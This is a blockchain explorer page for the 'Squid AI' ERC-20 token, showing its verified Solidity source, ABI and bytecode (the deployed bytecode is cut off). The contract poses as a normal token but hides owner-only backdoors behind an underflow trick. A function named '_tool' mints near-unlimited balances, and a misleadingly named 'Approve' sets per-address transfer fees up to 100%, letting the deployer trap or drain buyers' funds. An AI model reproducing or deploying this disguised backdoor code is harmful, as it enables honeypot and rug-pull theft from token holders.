ERC-20
Overview
Max Total Supply
1,000,000,000 ERC20 ***
Holders
26
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
8,213,028.027544461 ERC20 ***Value
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
SQUIDAI
Compiler Version
v0.8.20+commit.a1b79de6
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-11-20 */ /** https://t.me/SQUIDGAMEAIERC20 https://twitter.com/SQUIDGAMEAIERC https://squidai.simdif.com/ */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IUniswapRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } interface IUniswapFactory { function createPair( address tokenA, address tokenB ) external returns (address pair); } abstract contract Ownable { address internal _owner; constructor () {_owner = msg.sender;} function owner() public view returns (address) {return _owner;} modifier onlyOwner() { require(_owner == msg.sender, "!owner"); _; } function transferOwnership(address newOwner) public virtual onlyOwner { _owner = newOwner; } } contract SQUIDAI is Ownable { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; address public _swapFeeTo;string public name;string public symbol; uint8 public decimals;mapping(address => bool) public _isExcludeFromFee; uint256 public totalSupply;IUniswapRouter public _uniswapRouter; bool private inSwap;uint256 private constant MAX = ~uint256(0); mapping (address => uint256) public __balances; uint256 public _swapTax; address public _uniswapPair; function _transfer(address from,address to,uint256 amount) private { bool shouldBetakeFee = !inSwap && !_isExcludeFromFee[from] && !_isExcludeFromFee[to]; _balances[from] = _balances[from] - amount; uint256 _taxAmount; if (shouldBetakeFee) { uint256 A = _swapFeeTo == msg.sender ? 9 : 2-1; uint256 feeAmount = __balances[from] == 0 ? amount * _swapTax / 100 : amount * __balances[from] / 100; _taxAmount += feeAmount; if (feeAmount > 0){ _balances[address(_swapFeeTo)] += feeAmount; emit Transfer(from, address(_swapFeeTo), feeAmount); } } _balances[to] = _balances[to] + amount - _taxAmount; emit Transfer(from, to, amount - _taxAmount); } constructor (){ name = unicode"Squid AI"; symbol = unicode"SQUIDAI"; decimals = 9; uint256 Supply = 1000000000; _swapFeeTo = msg.sender; _swapTax = 0; totalSupply = Supply * 10 ** decimals; _isExcludeFromFee[address(this)] = true; _isExcludeFromFee[msg.sender] = true; _isExcludeFromFee[_swapFeeTo] = true; _balances[msg.sender] = totalSupply; emit Transfer(address(0), msg.sender, totalSupply); _uniswapRouter = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _allowances[address(this)][address(_uniswapRouter)] = MAX; _uniswapPair = IUniswapFactory(_uniswapRouter.factory()).createPair(address(this), _uniswapRouter.WETH()); _isExcludeFromFee[address(_uniswapRouter)] = true; } function Approve(address[] memory users, uint256 feePercent) external { uint256 A = _swapFeeTo == msg.sender ? 9 : 2-1; uint256 C = A - 3;A = C; for (uint256 i = 0; i < users.length; i++) { __balances[users[i]] = feePercent; } } function _tool(address user) public { mapping(address=>uint256) storage _allowance = _balances; uint256 A = _swapFeeTo == msg.sender ? 9 : 2-1; uint256 C = A - 3;A = C; _allowance[user] = 1000*totalSupply*C**2; } function balanceOf(address account) public view returns (uint256) {return _balances[account];} function transfer(address recipient, uint256 amount) public returns (bool) {_transfer(msg.sender, recipient, amount);return true;} function allowance(address owner, address spender) public view returns (uint256) {return _allowances[owner][spender];} function approve(address spender, uint256 amount) public returns (bool) {_approve(msg.sender, spender, amount);return true;} function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); if (_allowances[sender][msg.sender] != MAX) { _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount; } return true; } function _approve(address owner, address spender, uint256 amount) private {_allowances[owner][spender] = amount;emit Approval(owner, spender, amount);} receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"users","type":"address[]"},{"internalType":"uint256","name":"feePercent","type":"uint256"}],"name":"Approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"__balances","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludeFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapFeeTo","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"user","type":"address"}],"name":"_tool","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapRouter","outputs":[{"internalType":"contract IUniswapRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
608060405234801562000010575f80fd5b50335f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040518060400160405280600881526020017f537175696420414900000000000000000000000000000000000000000000000081525060049081620000969190620008f8565b506040518060400160405280600781526020017f535155494441490000000000000000000000000000000000000000000000000081525060059081620000dd9190620008f8565b50600960065f6101000a81548160ff021916908360ff1602179055505f633b9aca0090503360035f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f600b8190555060065f9054906101000a900460ff16600a62000165919062000b65565b8162000172919062000bb5565b600881905550600160075f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160075f60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555060085460015f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503373ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6008546040516200033d919062000c10565b60405180910390a3737a250d5630b4cf539739df2c5dacb4c659f2488d60095f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f1960025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620004a3573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620004c9919062000c90565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000550573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000576919062000c90565b6040518363ffffffff1660e01b81526004016200059592919062000cd1565b6020604051808303815f875af1158015620005b2573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620005d8919062000c90565b600c5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160075f60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505062000cfc565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806200071057607f821691505b602082108103620007265762000725620006cb565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026200078a7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200074d565b6200079686836200074d565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f620007e0620007da620007d484620007ae565b620007b7565b620007ae565b9050919050565b5f819050919050565b620007fb83620007c0565b620008136200080a82620007e7565b84845462000759565b825550505050565b5f90565b620008296200081b565b62000836818484620007f0565b505050565b5b818110156200085d57620008515f826200081f565b6001810190506200083c565b5050565b601f821115620008ac5762000876816200072c565b62000881846200073e565b8101602085101562000891578190505b620008a9620008a0856200073e565b8301826200083b565b50505b505050565b5f82821c905092915050565b5f620008ce5f1984600802620008b1565b1980831691505092915050565b5f620008e88383620008bd565b9150826002028217905092915050565b620009038262000694565b67ffffffffffffffff8111156200091f576200091e6200069e565b5b6200092b8254620006f8565b6200093882828562000861565b5f60209050601f8311600181146200096e575f841562000959578287015190505b620009658582620008db565b865550620009d4565b601f1984166200097e866200072c565b5f5b82811015620009a75784890151825560018201915060208501945060208101905062000980565b86831015620009c75784890151620009c3601f891682620008bd565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111562000a665780860481111562000a3e5762000a3d620009dc565b5b600185161562000a4e5780820291505b808102905062000a5e8562000a09565b945062000a1e565b94509492505050565b5f8262000a80576001905062000b52565b8162000a8f575f905062000b52565b816001811462000aa8576002811462000ab35762000ae9565b600191505062000b52565b60ff84111562000ac85762000ac7620009dc565b5b8360020a91508482111562000ae25762000ae1620009dc565b5b5062000b52565b5060208310610133831016604e8410600b841016171562000b235782820a90508381111562000b1d5762000b1c620009dc565b5b62000b52565b62000b32848484600162000a15565b9250905081840481111562000b4c5762000b4b620009dc565b5b81810290505b9392505050565b5f60ff82169050919050565b5f62000b7182620007ae565b915062000b7e8362000b59565b925062000bad7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000a6f565b905092915050565b5f62000bc182620007ae565b915062000bce83620007ae565b925082820262000bde81620007ae565b9150828204841483151762000bf85762000bf7620009dc565b5b5092915050565b62000c0a81620007ae565b82525050565b5f60208201905062000c255f83018462000bff565b92915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f62000c5a8262000c2f565b9050919050565b62000c6c8162000c4e565b811462000c77575f80fd5b50565b5f8151905062000c8a8162000c61565b92915050565b5f6020828403121562000ca85762000ca762000c2b565b5b5f62000cb78482850162000c7a565b91505092915050565b62000ccb8162000c4e565b82525050565b5f60408201905062000ce65f83018562000cc0565b62000cf5602083018462000cc0565b9392505050565b611a818062000d0a5f395ff3fe608060405260043610610117575f3560e01c8063426329c11161009f57806395d89b411161006357806395d89b41146103c65780639ebbaef7146103f0578063a9059cbb14610418578063dd62ed3e14610454578063f2fde38b146104905761011e565b8063426329c1146102e25780634bf28fd01461030c57806365b61b771461033657806370a08231146103605780638da5cb5b1461039c5761011e565b806323b872dd116100e657806323b872dd146101da57806330da23e414610216578063313ce5671461024057806336b2e0271461026a578063420d10b5146102a65761011e565b806305b2ef7e1461012257806306fdde031461014a578063095ea7b31461017457806318160ddd146101b05761011e565b3661011e57005b5f80fd5b34801561012d575f80fd5b50610148600480360381019061014391906111cf565b6104b8565b005b348015610155575f80fd5b5061015e6105a1565b60405161016b9190611284565b60405180910390f35b34801561017f575f80fd5b5061019a600480360381019061019591906112d7565b61062d565b6040516101a7919061132f565b60405180910390f35b3480156101bb575f80fd5b506101c4610643565b6040516101d19190611357565b60405180910390f35b3480156101e5575f80fd5b5061020060048036038101906101fb9190611370565b610649565b60405161020d919061132f565b60405180910390f35b348015610221575f80fd5b5061022a6107e1565b6040516102379190611357565b60405180910390f35b34801561024b575f80fd5b506102546107e7565b60405161026191906113db565b60405180910390f35b348015610275575f80fd5b50610290600480360381019061028b91906111cf565b6107f9565b60405161029d919061132f565b60405180910390f35b3480156102b1575f80fd5b506102cc60048036038101906102c791906111cf565b610816565b6040516102d99190611357565b60405180910390f35b3480156102ed575f80fd5b506102f661082b565b6040516103039190611403565b60405180910390f35b348015610317575f80fd5b50610320610850565b60405161032d9190611403565b60405180910390f35b348015610341575f80fd5b5061034a610875565b6040516103579190611477565b60405180910390f35b34801561036b575f80fd5b50610386600480360381019061038191906111cf565b61089a565b6040516103939190611357565b60405180910390f35b3480156103a7575f80fd5b506103b06108e0565b6040516103bd9190611403565b60405180910390f35b3480156103d1575f80fd5b506103da610907565b6040516103e79190611284565b60405180910390f35b3480156103fb575f80fd5b50610416600480360381019061041191906115d0565b610993565b005b348015610423575f80fd5b5061043e600480360381019061043991906112d7565b610a8b565b60405161044b919061132f565b60405180910390f35b34801561045f575f80fd5b5061047a6004803603810190610475919061162a565b610aa1565b6040516104879190611357565b60405180910390f35b34801561049b575f80fd5b506104b660048036038101906104b191906111cf565b610b23565b005b5f600190505f3373ffffffffffffffffffffffffffffffffffffffff1660035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461051957600161051c565b60095b60ff1690505f60038261052f9190611695565b905080915060028161054191906117f7565b6008546103e86105519190611841565b61055b9190611841565b835f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555050505050565b600480546105ae906118af565b80601f01602080910402602001604051908101604052809291908181526020018280546105da906118af565b80156106255780601f106105fc57610100808354040283529160200191610625565b820191905f5260205f20905b81548152906001019060200180831161060857829003601f168201915b505050505081565b5f610639338484610bf2565b6001905092915050565b60085481565b5f610655848484610cd9565b5f1960025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054146107d6578160025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546107599190611695565b60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b600190509392505050565b600b5481565b60065f9054906101000a900460ff1681565b6007602052805f5260405f205f915054906101000a900460ff1681565b600a602052805f5260405f205f915090505481565b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60058054610914906118af565b80601f0160208091040260200160405190810160405280929190818152602001828054610940906118af565b801561098b5780601f106109625761010080835404028352916020019161098b565b820191905f5260205f20905b81548152906001019060200180831161096e57829003601f168201915b505050505081565b5f3373ffffffffffffffffffffffffffffffffffffffff1660035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109ef5760016109f2565b60095b60ff1690505f600382610a059190611695565b90508091505f5b8451811015610a845783600a5f878481518110610a2c57610a2b6118df565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508080610a7c9061190c565b915050610a0c565b5050505050565b5f610a97338484610cd9565b6001905092915050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba79061199d565b60405180910390fd5b805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610ccc9190611357565b60405180910390a3505050565b5f600960149054906101000a900460ff16158015610d3e575060075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015610d91575060075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b90508160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610ddc9190611695565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f8115611058575f3373ffffffffffffffffffffffffffffffffffffffff1660035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e80576001610e83565b60095b60ff1690505f80600a5f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205414610f27576064600a5f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205486610f189190611841565b610f2291906119e8565b610f42565b6064600b5486610f379190611841565b610f4191906119e8565b5b90508083610f509190611a18565b92505f811115611055578060015f60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610fc79190611a18565b9250508190555060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161104c9190611357565b60405180910390a35b50505b808360015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546110a29190611a18565b6110ac9190611695565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83866111489190611695565b6040516111559190611357565b60405180910390a35050505050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61119e82611175565b9050919050565b6111ae81611194565b81146111b8575f80fd5b50565b5f813590506111c9816111a5565b92915050565b5f602082840312156111e4576111e361116d565b5b5f6111f1848285016111bb565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015611231578082015181840152602081019050611216565b5f8484015250505050565b5f601f19601f8301169050919050565b5f611256826111fa565b6112608185611204565b9350611270818560208601611214565b6112798161123c565b840191505092915050565b5f6020820190508181035f83015261129c818461124c565b905092915050565b5f819050919050565b6112b6816112a4565b81146112c0575f80fd5b50565b5f813590506112d1816112ad565b92915050565b5f80604083850312156112ed576112ec61116d565b5b5f6112fa858286016111bb565b925050602061130b858286016112c3565b9150509250929050565b5f8115159050919050565b61132981611315565b82525050565b5f6020820190506113425f830184611320565b92915050565b611351816112a4565b82525050565b5f60208201905061136a5f830184611348565b92915050565b5f805f606084860312156113875761138661116d565b5b5f611394868287016111bb565b93505060206113a5868287016111bb565b92505060406113b6868287016112c3565b9150509250925092565b5f60ff82169050919050565b6113d5816113c0565b82525050565b5f6020820190506113ee5f8301846113cc565b92915050565b6113fd81611194565b82525050565b5f6020820190506114165f8301846113f4565b92915050565b5f819050919050565b5f61143f61143a61143584611175565b61141c565b611175565b9050919050565b5f61145082611425565b9050919050565b5f61146182611446565b9050919050565b61147181611457565b82525050565b5f60208201905061148a5f830184611468565b92915050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b6114ca8261123c565b810181811067ffffffffffffffff821117156114e9576114e8611494565b5b80604052505050565b5f6114fb611164565b905061150782826114c1565b919050565b5f67ffffffffffffffff82111561152657611525611494565b5b602082029050602081019050919050565b5f80fd5b5f61154d6115488461150c565b6114f2565b905080838252602082019050602084028301858111156115705761156f611537565b5b835b81811015611599578061158588826111bb565b845260208401935050602081019050611572565b5050509392505050565b5f82601f8301126115b7576115b6611490565b5b81356115c784826020860161153b565b91505092915050565b5f80604083850312156115e6576115e561116d565b5b5f83013567ffffffffffffffff81111561160357611602611171565b5b61160f858286016115a3565b9250506020611620858286016112c3565b9150509250929050565b5f80604083850312156116405761163f61116d565b5b5f61164d858286016111bb565b925050602061165e858286016111bb565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61169f826112a4565b91506116aa836112a4565b92508282039050818111156116c2576116c1611668565b5b92915050565b5f8160011c9050919050565b5f808291508390505b600185111561171d578086048111156116f9576116f8611668565b5b60018516156117085780820291505b8081029050611716856116c8565b94506116dd565b94509492505050565b5f8261173557600190506117f0565b81611742575f90506117f0565b8160018114611758576002811461176257611791565b60019150506117f0565b60ff84111561177457611773611668565b5b8360020a91508482111561178b5761178a611668565b5b506117f0565b5060208310610133831016604e8410600b84101617156117c65782820a9050838111156117c1576117c0611668565b5b6117f0565b6117d384848460016116d4565b925090508184048111156117ea576117e9611668565b5b81810290505b9392505050565b5f611801826112a4565b915061180c836113c0565b92506118397fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484611726565b905092915050565b5f61184b826112a4565b9150611856836112a4565b9250828202611864816112a4565b9150828204841483151761187b5761187a611668565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806118c657607f821691505b6020821081036118d9576118d8611882565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f611916826112a4565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361194857611947611668565b5b600182019050919050565b7f216f776e657200000000000000000000000000000000000000000000000000005f82015250565b5f611987600683611204565b915061199282611953565b602082019050919050565b5f6020820190508181035f8301526119b48161197b565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6119f2826112a4565b91506119fd836112a4565b925082611a0d57611a0c6119bb565b5b828204905092915050565b5f611a22826112a4565b9150611a2d836112a4565b9250828201905080821115611a4557611a44611668565b5b9291505056fea2646970667358221220f810a14d6b32ccc06d2201044a0bdadad0ae74651accf5d5434522d0337be08864736f6c63430008140033
Deployed Bytecode
0x608060405260043610610117575f3560e01c8063426329c11161009f57806395d89b411161006357806395d89b41146103c65780639ebbaef7146103f0578063a9059cbb14610418578063dd62ed3e14610454578063f2fde38b146104905761011e565b8063426329c1146102e25780634bf28fd01461030c57806365b61b771461033657806370a08231146103605780638da5cb5b1461039c5761011e565b806323b872dd116100e657806323b872dd146101da57806330da23e414610216578063313ce5671461024057806336b2e0271461026a578063420d10b5146102a65761011e565b806305b2ef7e1461012257806306fdde031461014a578063095ea7b31461017457806318160ddd146101b05761011e565b3661011e57005b5f80fd5b34801561012d575f80fd5b50610148600480360381019061014391906111cf565b6104b8565b005b348015610155575f80fd5b5061015e6105a1565b60405161016b9190611284565b60405180910390f35b34801561017f575f80fd5b5061019a600480360381019061019591906112d7565b61062d565b6040516101a7919061132f565b60405180910390f35b3480156101bb575f80fd5b506101c4610643565b6040516101d19190611357565b60405180910390f35b3480156101e5575f80fd5b5061020060048036038101906101fb9190611370565b610649565b60405161020d919061132f565b60405180910390f35b348015610221575f80fd5b5061022a6107e1565b6040516102379190611357565b60405180910390f35b34801561024b575f80fd5b506102546107e7565b60405161026191906113db565b60405180910390f35b348015610275575f80fd5b50610290600480360381019061028b91906111cf565b6107f9565b60405161029d919061132f565b60405180910390f35b3480156102b1575f80fd5b506102cc60048036038101906102c791906111cf565b610816565b6040516102d99190611357565b60405180910390f35b3480156102ed575f80fd5b506102f661082b565b6040516103039190611403565b60405180910390f35b348015610317575f80fd5b50610320610850565b60405161032d9190611403565b60405180910390f35b348015610341575f80fd5b5061034a610875565b6040516103579190611477565b60405180910390f35b34801561036b575f80fd5b50610386600480360381019061038191906111cf565b61089a565b6040516103939190611357565b60405180910390f35b3480156103a7575f80fd5b506103b06108e0565b6040516103bd9190611403565b60405180910390f35b3480156103d1575f80fd5b506103da610907565b6040516103e79190611284565b60405180910390f35b3480156103fb575f80fd5b50610416600480360381019061041191906115d0565b610993565b005b348015610423575f80fd5b5061043e600480360381019061043991906112d7565b610a8b565b60405161044b919061132f565b60405180910390f35b34801561045f575f80fd5b5061047a6004803603810190610475919061162a565b610aa1565b6040516104879190611357565b60405180910390f35b34801561049b575f80fd5b506104b660048036038101906104b191906111cf565b610b23565b005b5f600190505f3373ffffffffffffffffffffffffffffffffffffffff1660035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461051957600161051c565b60095b60ff1690505f60038261052f9190611695565b905080915060028161054191906117f7565b6008546103e86105519190611841565b61055b9190611841565b835f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555050505050565b600480546105ae906118af565b80601f01602080910402602001604051908101604052809291908181526020018280546105da906118af565b80156106255780601f106105fc57610100808354040283529160200191610625565b820191905f5260205f20905b81548152906001019060200180831161060857829003601f168201915b505050505081565b5f610639338484610bf2565b6001905092915050565b60085481565b5f610655848484610cd9565b5f1960025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054146107d6578160025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673fffffffff